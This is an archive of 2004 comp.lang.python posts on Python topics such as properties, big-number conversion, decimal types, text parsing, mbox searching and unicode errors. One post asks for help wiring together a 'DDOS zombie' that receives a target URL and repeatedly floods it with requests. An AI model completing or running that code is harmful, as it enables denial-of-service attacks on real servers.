In-Reply-To: <36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>	<4030D457.D193F14C@engcorp.com>	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <4033E7C4.2090009@prescod.net>

Matthias wrote:

>...
> 
> If people say "I'm doing X and I'm very happy with language Y for
> reason Z" that's fine.  But we probably should stop over-selling
> languages (or tools or processes) claiming large increases in
> productivity without having solid evidence at our hands.

I feel that anecdotal evidence is better than no evidence. Before we had 
modern science people would tell each other berries to eat and not to 
eat based on anecdotal evidence. Sometimes you would get it wrong 
(tomatoes) but you got it right more often than wrong and that saved 
lives (in our case it could be weeks of effort wasted).

I am quite comfortable saying that individual programmers are more 
productive in Python than in most languages, with a very high degree of 
confidence for lower-level languages and more fuzziness for higher-level 
languages. I've converted many programmers who have no reason to be 
biased in favour of Python and they all agree with me. I've seldom heard 
anyone claim (for example) that they were more productive when they had 
to manage memory allocations (or registers!) manually.

I would be less comfortable talking about teams, especially large teams. 
I don't have as many anecdotes to draw from there and "logic" could lead 
you either way (e.g. common wisdom is that static typing helps large 
teams to avoid stepping on each other's toes).

  Paul Prescod





From peter at designtheory.org  Fri Feb 27 09:54:23 2004
From: peter at designtheory.org (Peter Dobcsanyi)
Date: 27 Feb 2004 14:54:23 GMT
Subject: doc strings of properties
Message-ID: <c1nlmv$1nd$1@beta.qmul.ac.uk>

Hi,

I reworked a few methods of a class using properties but then realized
that the online help in interactive sessions would not work as I
expected. The reason is the way how doc strings of properties is treated.
Here is an example to illuminate the problem:

    >>> class Foo(object):
    ...     def __init__(self):
    ...         self.a = 2
    ...         self.b = 3
    ...     def set(self, x, y):
    ...         'Set a and b.'
    ...         self.a = x
    ...         self.b = y
    ...     def _axb(self):
    ...         return self.a * self.b
    ...     axb = property(_axb, doc='Return current product a*b.')
    ... 
    >>> 

    ()
    >>> print f.a, f.b, f.axb
    2 3 6
    >>> 
    >>> print f.set.__doc__
    Set a and b.
    >>> 
    >>> print f.axb.__doc__
    int(x[, base]) -> integer

    Convert a string or number to an integer, if possible.  A floating point
    argument will be truncated towards zero (this does not include a string
    representation of a floating point number!)  When converting a string,
    use
    the optional base.  It is an error to supply a base when converting a
    non-string. If the argument is outside the integer range a long object
    will be returned instead.
    >>>
    >>> print Foo.axb.__doc__
    Return current product a*b.
    >>> 

I have a vague idea why this is happening, nevertheless find it a bit
inconsistent compared to doc strings of standard methods. Things are not
too helpful with help() either.

    >>> help(f.set)
    Help on method set:

    set(self, x, y) method of __main__.Foo instance
	Set a and b.

    >>> help(Foo.set)
    Help on method set:

    set(self, x, y) unbound __main__.Foo method
	Set a and b.

    >>> help(f.axb)
    Help on int:

    6

    >>> help(Foo.axb)
    Help on property:

    <property object>

    >>>

Although, help on the class gives what one would expect:

    >>> help(Foo)
    Help on class Foo in module __main__:

    class Foo(__builtin__.object)
     |  Methods defined here:
     |  
     |  __init__(self)
     |  
     |  set(self, x, y)
     |      Set a and b.
     |  
     |
    ----------------------------------------------------------------------
     |  Properties defined here:
     |  
     |  axb
     |      Return current product a*b.
     |  
     |      <get> = _axb(self)
     |  
     ...

Is there a way to work around this problem or I am missing something
here.

Thanks,
    Peter


From cnoviello at hotmail.com  Sat Feb 28 07:01:40 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Sat, 28 Feb 2004 12:01:40 +0000 (UTC)
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
Message-ID: <dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>

def pprint(*args):
    txt = ""
    for a in args:
       txt += str(a)
    print txt

Is it ok?

-- 
Don't you know why your Python application has crashed? 
Take a look to http://www.pycrash.org


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From this at is.for.spambot  Fri Feb 13 11:45:03 2004
From: this at is.for.spambot (Benjamin Han)
Date: Fri, 13 Feb 2004 11:45:03 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
Message-ID: <2004021311450316807%this@isforspambot>


On 2004-02-10 19:59:47 -0500, Benjamin Han <this at is.for.spambot> said:

> On 2004-02-10 18:22:30 -0500, ralf at brainbot.com said:
> 
>> Benjamin Han <this at is.for.spambot> writes:
>> 
>>> On 2004-02-10 13:46:37 -0500, ralf at brainbot.com said:
>>> 
>>>> fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:

> Here is the situation: I want my server started up upon connection.
> When the first connection comes in, the server is not running. The
> client realizes the fact, and then starts up the server and tries to
> connect again. This of course all happens on the same machine (local
> connection only).
> 
> The connections can come in as fast as 30+/sec, so the server is
> threaded (using SocketServer.ThreadingTCPServer). Further, the server
> initialization is threaded into two: one is to do the real, lengthy
> setup, the other is start lisenting ASAP.

>>>>> The problem: I need to prevent multiple copies of the server being
>>>>> started. I did this by using file locking (fcntl.lockf()). However,
>>>>> not every time the code successfully prevented the server being
>>>>> started up more than one time. Here is the relevant code:
> 
> ... from the "ps" log during the stress test, I still get two servers 
> started up, listed by ps like this:
> 
> 27308  ??  S      0:01.25 python -OO fooServer.py
> 27465  ??  SV     0:01.25 python -OO fooServer.py
> 
> In this case the one with pid 27308 was the first server process 
> started. Some time later, with unknown reason, another server entry 
> will show up in ps log, but the status is always "RV" or "SV" (e.g., 
> pid 27465). The way I started the server in the code is os.system() 
> call, and from the man page of ps, 'V' means "The process is suspended 
> during a vfork."
> 
> The weird thing is I also have log statements in the server script, and 
> from the log file only ONE copy is actually started. I start to suspect 
> that I might have misunderstood the ps log - could it be there really 
> is only ONE copy running, despite there're (up to) 2 entries shown in 
> the ps log?

Because of this discrepancy between the ps log and the log produced by 
running the server script, I started to suspect that the second server 
instance shown in the ps log was a forked process, especially since it 
always came with a 'V' (vforked) state. Adding a "-o flags" to the ps 
command showed the following (exerpt);

8896 Fri Feb 13 03:47:25 2004     R    2004004      -      - 2a567f8 
python -OO fooServer.py
8997 Fri Feb 13 03:47:34 2004     RV   8000014      -      - 2a54028 
python -OO fooServer.py

After checking sys/proc.h:

#define P_VFORK         0x2000000       /* process has vfork children */
#define P_INVFORK       0x8000000       /* proc in vfork */

Basically confirmed that the server process was vforked. I then did a 
"grep -r fork *" but none showed in any of my code. My question then 
is, where could such a "hidden" vfork happen? I did use the following 
in my code:

1. pyDNS (http://pydns.sourceforge.net/)
2. os.popen(), os.popen2(), os.system()

Any hint is extremely welcome!



From __peter__ at web.de  Sun Feb 29 06:49:36 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 29 Feb 2004 12:49:36 +0100
Subject: Thoughts on new vs traditional idioms
References: <5d83790c.0402290218.2d3c493f@posting.google.com>
Message-ID: <c1sjkg$c64$02$1@news.t-online.com>

Raymond Hettinger wrote:

>     d = {'a':1}
>     d.__init__([('b',2), ('c',3)])   # update with an items list
>     d.__init__(d=4, e=5)             # update with keyword arguments
>     d.__init__(mydict)               # update with another dictionary

This is the first time I've seen the init as update idiom - this is clearly
not a case of love at first sight. Objects cumulating data over subsequent
calls of __init__() seems unintuitive to me.

Why isn't dict.update() enhanced to handle all three cases? You might
actually use the same implementation for both __init__() and update().

Peter


From jcarlson at nospam.uci.edu  Wed Feb 18 14:49:32 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 11:49:32 -0800
Subject: strings with moreover of one million of characters
In-Reply-To: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <c10fp5$cr2$1@news.service.uci.edu>

run the following:

import time
for i in xrange(1000, 1000000, 1000):
     a = '1'+i*'0'
     t = time.time()
     c = long(a)
     print i, time.time()-t

Here is some output I get with a 1.7 ghz machine:
67000 3.03100013733
68000 3.10899996758
69000 3.125
70000 3.26499986649
71000 3.39100003242
72000 3.42199993134
73000 3.5
74000 3.65599989891
75000 3.71900010109
76000 3.79600000381
77000 3.93700003624

It is not so much that it cannot do it, it is that it is REALLY slow. 
You will find that this is the case for ALL infinite precision integer 
packages.  Unless the internal representation is equivalent to the 
external representation, the conversion will be slow.

Given 'mylong', which assumes base-16 numbers, which are relatively 
compatible with the internal representation, and generates the long 
integer like so:

def mylong(st):
     r = 0
     for i in xrange(len(st)):
         r += int(st[-i]) * 16**i
     return r

It actually becomes possible to do this in reasonable time:
1000000 0.0
1100000 0.0160000324249
1200000 0.0
1300000 0.0
1400000 0.0
1500000 0.0
1600000 0.0
1700000 0.0
1800000 0.0
1900000 0.0

Base conversion is, in general, a hard problem.  There are some tricks 
to make it fast, but those tricks are very specific.

  - Josiah


From steve at ninereeds.fsnet.co.uk  Tue Feb  3 20:59:41 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Wed, 04 Feb 2004 01:59:41 +0000
Subject: PEP 327: Decimal Data Type
References: <mailman.1131.1075733260.12720.python-list@python.org>
	<qnkr7xdceyv.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <apd020l6ri1sq9rhk87d2c0trcg4rnoi8m@4ax.com>

On Mon, 02 Feb 2004 17:07:52 -0500, cookedm+news at physics.mcmaster.ca
(David M. Cooke) wrote:

>At some point, "Batista, Facundo" <FBatista at uniFON.com.ar> wrote:
>
>> danb_83 wrote: 
>>
>> #- On the other hand, when I say that I am 1.80 m tall, it doesn't imply
>> #- that humans height comes in discrete packets of 0.01 m.  It 
>> #- means that
>> #- I'm *somewhere* between 1.795 and 1.805 m tall, depending on my
>> #- posture and the time of day, and "1.80" is just a convenient
>> #- approximation.  And it wouldn't be inaccurate to express my height as
>> #- 0x1.CC (=1.796875) or (base 12) 1.97 (=1.7986111...) meters, because
>> #- these are within the tolerance of the measurement.  So number base
>> #- doesn't matter here.
>>
>> Are you saying that it's ok to store your number imprecisely because you
>> don't take well measures?
>
>What we need for this is an interval type. 1.80 m shouldn't be stored
>as '1.80', but as '1.80 +/- 0.005', and operations such as addition
>and multiplication should propogate the intervals.

I disagree with this, not because it is a bad idea to keep track of
precision, but because this should not be a part of the float type or
of basic arithmetic operations.

When you write a value with its precision specified in the form of an
interval, that interval is a second number. The value with the
precision is a compound representation, built up using simpler
components. It doesn't mean that the components no longer have uses
outside of the compound. In Python, the same should apply - a numeric
type that can track precision sounds useful, but it shouldn't replace
the existing float.

One good reason is simply that knowledge of the precision is only
sometimes useful. As an obvious example, what would the point be of
keeping track of the precision of the calculations in a 3D game -
there is no point as the information about precision has no bearing on
the rendering of the image.

Besides this, there is a much more fundamental problem.

The whole point of using an imprecise representation is because
manipulating a perfect representation is impractical - mainly slow.

It is true that in general the source is inherently approximate too,
meaning that floats are a quite a good match for the physical
measurements they are often used to represent, but still if it were
practical to do perfect arithmetic on those approximate values it
would give slightly more precise answers as the arithmetic would not
introduce additional sources of error.

Having an approximate representation with an interval sounds good, but
remember that one error source is the arithmetic itself - e.g. 1.0 /
3.0 cannot be finitely represented in either binary or decimal without
error (except as a rational, of course).

So therefore, in answer to your question...

>How to do that is another question: for addition, do you add the
>magnitudes of the intervals, or use the square root of the sums of the
>squares, or something else? It greatly depends on what _type_ of error
>0.005 measures (is it the width of a Gaussian distribution? a uniform
>distribution? something skewed that's not representable by one
>number?).

None of these is sufficient - they may track the errors resulting from
measurement issues (if you choose the appropriate method for your
application) but neither takes into account errors resulting from the
imprecision of the arithmetic. Furthermore, to keep track of such
imprecision precisely means you need an infinitely precise numeric
representation for your interval - and if it was practical to do that,
it would be far better to just use that representation for the value
itself.

This doesn't mean that tracking precision is a bad idea. It just means
that when it is done, the error interval itself should be imprecise.
You should have the guarantee that the real value is never going to be
outside of the given bounds, but not the guarantee that the bounds are
as close together as possible - the bounds should be allowed to get a
little further apart to allow for imprecision in the calculation of
the interval.

And if the error interval is itself an approximation, why track it on
every single arithmetic operation? Unless you have a specific good
reason to do so, it makes much more sense to handle the precision
tracking at a higher level. And as those higher level operations are
often going to be application specific, having a single library for it
(ie not tailored to some particular type of task) is IMO unlikely to
work.

For instance, consider calculating and applying a 3D rotation matrix
to a vector. If you track errors on every float value, that is 9
values in the matrix with error values (due to limited precision trig
functions etc) and 3 values in the vector, a dozen for the
intermediate results in the matrix multiplication, and 3 error
intervals for the 3 dimensions of the output vector. But the odds are
that all you want is a single float value - the maximum distance
between the real point and the point represented by the output vector,
and you can probably get a good value for that by multiplying the
length of the input vector by some 'potential error from rotation'
constant.

Incidentally, it would not always be appropriate to include arithmetic
errors in error intervals. For instance,  some statistical interval
types do not guarantee that all values are within the interval range.
They may guarantee that 95% of values are within the interval, for
instance - _and_ that 5% of values are outside the interval. The 5%
outside is as important as the 95% inside, so there is no acceptable
direction to move the bounds a little 'just to be safe'.

In some cases, you might even want to track the error interval (from
arithmetic error) for your error interval value. I can certainly
imagine a result with the form...

  The average widginess of a blodgit is 9.5 +/- 0.2
  95% differ from the average by less than 2.7 +/- 0.03

  Thus I can say that this randomly chosen blodgit has a
  widginess of (9.5 +/- 0.2) +/- (2.7 +/- 0.03) with 95% confidence.

You might even get results like that it you had estimated the average
and distribution of widginess from a sample of the blodgits - in which
case, you may still need to account from the arithmetic error which
requires potentially another four values ;-)


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From ptmcg at austin.stopthespam_rr.com  Wed Feb  4 23:30:54 2004
From: ptmcg at austin.stopthespam_rr.com (Paul McGuire)
Date: Thu, 05 Feb 2004 04:30:54 GMT
Subject: Line Text Parsing
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <2GjUb.2729$we.1809@fe1.texas.rr.com>

"allanc" <kawNOSPAMenks at nospamyahoo.ca> wrote in message
news:Xns948575A2C930Aacuencacanadacom at 198.161.157.145...
> I'm new with python so bear with me.
>
> I'm looking for a way to elegantly parse fixed-width text data (as opposed
> to CSV) and saving the parsed data unto a database. The text data comes
> from an old ISAM-format table and each line may be a different record
> structure depending on key fields in the line.
>
> RegExp with match and split are of interest but it's been too long since
> I've dabbled with RE to be able to judge whether its use will make the
> problem more complex.
>
> Here's a sample of the records I need to parse:
>
> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER
> 0150839220692 000002EA BMC   15 KG   001400
>
> 1st Line is a (portion of) header record.
> 2nd Line is an text instruction record.
> 3rd Line is a Transaction Line Item record.
>
> Each type of record has a different structure. But these set of lines
> appear in the one table.
>
>
> Any ideas would be greatly appreciated.
>
> Allan
Allan -

Let me put in a plug for pyparsing.  I think your problem is tailor-made for
pyparsing's easy-to-use grammar definitions and execution.  No special
lexx/yacc-like syntax or RE symbology to master, you assemble your grammar
using simply-named classes (such as Literal, OneOrMore, Word(wordchars),
Optional, etc.) and intuitive operators (+ for sequence, | for greedy
alternation, ^ for longest-match alternation, ~ for, um, Not-tion).

A grammar to parse "Hello, World!" might look like:
    helloGrammar = Word(alphas) + "," + Word(alphas) + oneOf(". ! ? !! !!!")
which could then parse any of:
    Hello, World!
    Hello  ,   World   !
    Hello,World!
    Yo, Adrian!!!
    Hey, man.
    Whattup, dude?

You can associate field names with specific parse elements, so that the
fields can be extracted from the results such as:
    helloGrammar = Word(alphas).setResultsName("greeting") + "," + \
        Word(alphas).setResultsName("to") + oneOf(". ! ? !! !!!")
    results = helloGrammar.parseString( greetingstring )
    print results.greeting
    print results.to

You can associate parse actions (a la SAX) to fire when matching parse
elements are matched in the input.

You can find the pyparsing home page at http://pyparsing.sourceforge.net.

-- Paul McGuire




From mlh at furu.idi.ntnu.no  Fri Feb 13 17:31:40 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Fri, 13 Feb 2004 22:31:40 +0000 (UTC)
Subject: [ANN] Atox 0.2 released
Message-ID: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>


What is it?
===========

Atox is a framework for automated markup. With it one can quite easily
write custom scripts for converting plain text into XML in any way one
wishes. Atox is normally used as a command-line script, using a simple
XML language to specify the desired transformation from text to
markup, but it is also possible to build custom parsers using the Atox
library. The name (short for ASCII-to-XML) is inspired by such UNIX
tools and system functions as atops and atoi.


What's new in 0.2?
==================

There's a new demo directory with some examples, which also double as
regression tests. There are two new features: Glued matching (for
making sure two features occur side by side) and indentation parsing
(for implementing nested structures based on indentation).

Although the indentation functionality works well, it is still a bit
experimental. Feedback is appreciated on how it might be expanded (or
modified) to be of more practical use.


Where can I get it?
===================

Atox is hosted at SourceForge (http://atox.sf.net) and the current
release (0.2) is available for download via its project page
(http://sf.net/projects/atox).


-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From martin at v.loewis.de  Mon Feb  9 17:36:02 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 23:36:02 +0100
Subject: unicode codecs
In-Reply-To: <c08sbk$c4u$1@bagan.srce.hr>
References: <c08sbk$c4u$1@bagan.srce.hr>
Message-ID: <c0920g$3u5$07$3@news.t-online.com>

Ivan Voras wrote:
> When concatenating strings (actually, a constant and a string...) i get 
> the following error:
> 
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1: 
> ordinal not in range(128)
> 
> Now I don't think either string is unicode

This statement must be false. When concatenating two byte strings, no
codec is ever used. So, either
1. one of the strings is a Unicode objects, or
2. you are not performing concatenation, or you get the exception
    from an operation that is not concatenation, or
3. you are not getting this exception.

Most likely, it is 1)

> The point is: I know all values will fit
> in a particular code page (iso-8859-2), so how do I change the 'ascii' 
> codec in the above error into something that will work?

Explicitly encode the Unicode string in your concatenation as
iso-8859-2.

Regards,
Martin



From harry.g.george at boeing.com  Fri Feb 20 05:02:08 2004
From: harry.g.george at boeing.com (Harry George)
Date: Fri, 20 Feb 2004 10:02:08 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
	<36wvfm2hy2y.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <xqxk72i6pcv.fsf@cola2.ca.boeing.com>

Matthias <no at spam.pls> writes:

> Harry George <harry.g.george at boeing.com> writes:
> 
> > It is common for a ComSci prof or grad student to crank up such a
> > study, using undergrad and grad students as the subjects.  These
> > subjects can generally be coerced to participate ("it is required for
> > the course").  For "novice programmer" research, high school students
> > are often used.  These tend to be self-selected, and ar not
> > representative for the general population.
> 
> Are these studies published?  I see the limitations, but still would
> be interested in the results.  So far, I found only the papers of Lutz
> Prechtel et al. on the web.
> 
>   Matthias

I was talking about "programmer productivity" studies in general, not
specifically Python.  My point was that the experimental model is
convenient but not a very good representation of reality.

Google for "programmer productivity"

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From erno-news at erno.iki.fi  Tue Feb  3 15:21:33 2004
From: erno-news at erno.iki.fi (Erno Kuusela)
Date: 03 Feb 2004 22:21:33 +0200
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <gu4brofj4mq.fsf@ee.oulu.fi>

Bastiaan Welmers <haasje at welmers.net> writes:

> 
> Especially because I often need messages at the end
> of the MBOX file.
> So I tried the following (scanning messages backwards
> on found "From " lines with readline())
> 
> i=0
> j=0
> while 1:
>   i+=1
>   fp.seek(-i, SEEK_TO_END=2)
>   line = fp.readline()
>   if not line:
>      break
>   if line[:5] == 'From ':
>      j+=1
>      if j == total_messages - message_number_needed:
>         archive.seekp = fp.tell()
>         message = archive.next()
>         # message found
> 
> But also seems to be slow and CPU consuming.

something like this might work. the loop below scanned a 115MB mailbox
in about 1 second on a 1.2ghz k7. extracts the next-to-last message,
but you get the idea. if you don't want to read the file into cache,
you could adapt it to start with a smaller mmapped chunk from the end
of the file and enlarge it until you find what you want.


import os, re, mmap, sys
from cStringIO import StringIO
import email

fd = os.open(sys.argv[1], os.O_RDONLY)
size = os.fstat(fd).st_size
print size
buf = mmap.mmap(fd, size, access=mmap.ACCESS_READ)
message_offsets = []
for m in re.finditer(r'(?s)\n\nFrom', buf):
    message_offsets.append(m.start())

msgfp = StringIO(buf[message_offsets[-2] + 2:message_offsets[-1] + 2])
msg = email.message_from_file(msgfp)
print msg['to']

  -- erno


From bart_nessux at hotmail.com  Sat Feb  7 19:06:00 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sat, 07 Feb 2004 19:06:00 -0500
Subject: passing what a function returns to another function
Message-ID: <c03uh1$6ut$1@solaris.cc.vt.edu>

I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

def receive_targets_url():
   # This recievies the DDOS target's URL
   I = socket(AF_INET, SOCK_STREAM)
   I.bind((DDOS_ZOMBIE_IP, U_PORT))
   I.listen(5)
   conn, addr  = I.accept()
   DDOS_TARGET = conn.recv(1024)
   conn.close()
   return DDOS_TARGET

def receive_commands():
   class threaded_ddos(Thread):
      def run(self):
         for x in xrange(999999999):
            f = urlopen(DDOS_TARGET)


From mertz at gnosis.cx  Thu Feb 19 00:40:14 2004
From: mertz at gnosis.cx (David Mertz, Ph.D.)
Date: Thu, 19 Feb 2004 00:40:14 -0500
Subject: [Announce] Gnosis Utils 1.1.1
Message-ID: <+wENAlKkXkLb092yn@gnosis.cx>                

This release adds gnosis.xml.relax to the package.

Miscellaneous speedups and bugfixes to gnosis.xml.objectify.

 - addChild() convenience function

Improvements to floating point handling in gnosis.xml.pickle.

 - minor improvements to tests

Little used gnosis.trigramlib updated per needs of my personal
spam filter.

Minor fixes in gnosis.util.introspect.

It may be obtained at:
    http://gnosis.cx/download/Gnosis_Utils-1.1.1.tar.gz

The current release is always available as:
    http://gnosis.cx/download/Gnosis_Utils-current.tar.gz

You may browse a snapshot at:
    http://gnosis.cx/download/gnosis/

Try it out, have fun, send feedback!

David Mertz (mertz at gnosis.cx)
Frank McIngvale (frankm at hiwaay.net)

------------------------------------------------------------------------

BACKGROUND:  Gnosis Utilities contains a number of Python libraries, most
(but not all) related to working with XML.  These include:

    gnosis.indexer          (Full-text indexing/searching)
    gnosis.xml.pickle       (XML pickling of Python objects)
    gnosis.xml.objectify    (Any XML to "native" Python objects)
    gnosis.xml.validity     (Enforce validity constraints)
    gnosis.xml.relax        (Tools for working with RelaxNG)
    gnosis.xml.indexer      (XPATH indexing of XML documents)
    [...].convert.txt2html  (Convert ASCII source files to HTML)
    gnosis.util.dtd2sql     (DTD -> SQL 'CREATE TABLE' statements)
    gnosis.util.sql2dtd     (SQL query -> DTD for query results)
    gnosis.util.xml2sql     (XML -> SQL 'INSERT INTO' statements)
    gnosis.util.combinators (Combinatorial higher-order functions)
    gnosis.util.introspect  (Introspect Python objects)
    gnosis.magic            (Multimethods, metaclasses, etc)

...and so much more! :-)





From miki.tebeka at zoran.com  Sun Feb  8 04:07:29 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 8 Feb 2004 01:07:29 -0800
Subject: Clearing IDLE's screen?
Message-ID: <4f0a9fdb.0402080107.3800b86e@posting.google.com>

Hello All,

I'd like to bind <CTRL+L> so that it will clear IDLE's screen (in the
interactive prompt).
Any pointers/suggetions?

Thanks.
Miki


From drconrad at metaplay.com.au  Tue Feb 17 22:18:45 2004
From: drconrad at metaplay.com.au (Simon Wittber)
Date: Wed, 18 Feb 2004 11:18:45 +0800
Subject: Is there Multi-media support in Python ?
In-Reply-To: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
Message-ID: <002b01c3f5cd$ebc5b790$0000fea9@simonxp>

>If so, is it in the standard release or has someone created a module
just for multi-media integration?

Check out http://www.pygame.org/




From kent at springfed.com  Mon Feb 16 22:49:59 2004
From: kent at springfed.com (Kent Tenney)
Date: Mon, 16 Feb 2004 21:49:59 -0600
Subject: A Python equivalent of cfengine?
In-Reply-To: <4030D32D.1304B34E@engcorp.com>
References: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
	<4030D32D.1304B34E@engcorp.com>
Message-ID: <DfgYb.3112$tU6.4738@reggie.win.bright.net>

Peter Hansen wrote:

> Kent Tenney wrote:
> 
>>Howdy,
>>
>>Any recommendations for automating
>>administrative tasks using Python?
> 
> 
> Yes, do it!  I strongly recommend Python for automating administrative tasks.
> 
> (You might improve the question with a little more context if you wish better
> responses.)
> 
> -Peter

My interest in this stems from doing a bunch
of installations of a package which requires
editing quite a few files, tedious and error
prone.

I'd like the convenience of being able to define
the edits in a script.

I was trolling for a response like;
"I've been building this great package which
allows scripting common configuration tasks
in this really clever and simple way ..."

For some reason I got the idea cfengine required
Perl scripting. Upon researching it to improve
my question with a little more context
I find it's not Perl-centric, it's
very well documented and complete ...

Nevermind.

Thanks,
Kent


From shalabh at gameboard.org  Sun Feb 29 23:33:00 2004
From: shalabh at gameboard.org (Shalabh Chaturvedi)
Date: 29 Feb 2004 20:33:00 -0800
Subject: How to use __getattribute__ to access a class attribute?
References: <40425d1b$0$41761$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <c7ec16d1.0402292033.2c198721@posting.google.com>

Ruud de Jong <ruud.de.jong at consunet.nl> wrote in message news:<40425d1b$0$41761$5fc3050 at dreader2.news.tiscali.nl>...
Ruud de Jong wrote:
> I have the situation where I need to construct the name
> of a static method, and then retrieve the corresponding
> function from a class object.

If what you're trying to do is get C.a (where C is the class and a is
the name of the staticmethod) but all you have is the class C and a
string mname = "a", then just getattr(C, mname) should work. Generally
this works for any attribute access where you have the attribute name
in another variable.

Another way to get the naked function, which also works for
classmethods, is to do C.__dict__['a']. See comments below that
explain what you see.

> I thought I could just use __getattribute__ for this purpose.
> This works fine if I already have an instantiation of the class,
> but not when I try this on the class object directly.
> 
> A bare bones example:
> 
>  >>> class C(object):
>     def a():
>         print "static method a"
>     a = staticmethod(a)
> 
> It works for a instantiation of class C:
>     
>  >>> x = C()
>  >>> x.a
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')()
> static method a

When Python comes across x.a, it doesn't call x.__getattribute__('a'),
it calls type(x).__getattribute__(x, 'a'). Now type(x) is C, and it
just so happens (in this case) that x.__getattribute__ also ends up
calling the same method, since x doesn't have a __getattribute__ of
its own. This is why what you do above works.

> But for the class object it works differently:
> 
>  >>> C.a
> <function a at 0x00A981B0>
>  >>> C.__getattribute__(C,'a')
> <staticmethod object at 0x00AC6A10>
>  >>> C.a()
> static method a
>  >>> C.__getattribute__(C,'a')()
> 
> Traceback (most recent call last):
>   File "<pyshell#219>", line 1, in -toplevel-
>     C.__getattribute__(C,'a')()
> TypeError: 'staticmethod' object is not callable

To repeat the same experiment, you should call
type(C).__getattribute__(C, 'a'). Note that in this case C *has* its
own __getattribute__ attribute (which is meant for instances of C, not
C itself). In fact you do this later, and it works. Hmm, at first
glance I'd expect what you do above to return an exception if passed C
instead of an instance of C (like any other well behaved method). I
don't know why that doesn't happen.

In conclusion, __getattribute__() does return the computed attribute
value, but for an object o it is called on type(o) and not o itself.
Also, getattr() is usually all you need.

HTH,
Shalabh


From erno-news at erno.iki.fi  Mon Feb 23 19:27:21 2004
From: erno-news at erno.iki.fi (Erno Kuusela)
Date: 24 Feb 2004 02:27:21 +0200
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <mailman.0.1077567184.8594.python-list@python.org>
Message-ID: <gu41xoljp92.fsf@ee.oulu.fi>

"Mike Maxwell" <maxwell at ldc.upenn.edu> writes:

> <vent> I see there has been traffic over the years on this gripe, so just
> let me vent my frustration, and add another reason why 'exit' (or possibly
> exit() or quit() or halt() or some such) should exit Python, rather than
> giving the ridiculous msg
> 
>     Use Ctrl-D (i.e. EOF) to exit.

of course typing EOF is the normal way to tell any unix stdio app to
exit. but the EOF key depends on your tty settings and is set with
stty. hardcoding ctrl-d is strictly speaking broken ;)

  -- erno


From ravard at univ-rennes1.fr  Mon Feb  2 09:57:19 2004
From: ravard at univ-rennes1.fr (olivier Ravard)
Date: Mon, 02 Feb 2004 15:57:19 +0100
Subject: How to get my MAC address with python ?
Message-ID: <bvlocd$37u$1@news.univ-rennes1.fr>

Hi,

I want to know the MAC address of my local network card with a python 
script.
I tested the socket module which gives only the IP address.
Is someone have an idea ?

Thanks.

O.R.



From croxton3 at yahoo.com  Fri Feb 20 20:48:08 2004
From: croxton3 at yahoo.com (Derek Croxton)
Date: Fri, 20 Feb 2004 20:48:08 -0500
Subject: Distutil install problem
Message-ID: <c16dco$2eo$2@sea.gmane.org>

I just installed a new Linux distribution (MEPIS) and went to install 
PDO and got the error

Traceback (most recent call last):
   File "setup.py", line 2, in ?
     from distutils.core import setup
ImportError: No module named distutils.core

Undaunted, I downloaded the Distutils package, which is supposed to be 
able to install itself with the usual "python setup.py install." 
However, when I tried this I got a different error:

   File "setup.py", line 30, in ?
     packages = ['distutils', 'distutils.command'],
   File "/root/Downloads/Distutils-1.0.2/distutils/core.py", line 101, 
in setup
     _setup_distribution = dist = klass(attrs)
   File "/root/Downloads/Distutils-1.0.2/distutils/dist.py", line 130, 
in __init__
